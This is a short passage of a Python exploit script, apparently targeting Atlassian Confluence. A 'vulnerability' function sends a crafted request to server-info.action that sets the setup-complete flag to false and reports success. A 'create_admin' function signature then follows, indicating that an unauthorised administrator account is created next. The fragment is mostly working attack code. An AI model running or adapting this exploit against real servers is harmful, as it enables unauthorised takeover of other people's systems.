(url: str)
| 17 | |
| 18 | |
| 19 | def vulnerability(url: str) -> bool: |
| 20 | # Confluence is in 'Setup Successful' mode, which is usually only available after installation |
| 21 | res = requests.get(url=f"{url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false") |
| 22 | if res.status_code == 200: |
| 23 | print("[+] vulnerability activated") |
| 24 | return True |
| 25 | else: |
| 26 | print(f"[-] Status-Code: {res.status_code}") |
| 27 | return False |
| 28 | |
| 29 | |
| 30 | def create_admin(url: str, username: str, password: str) -> bool: |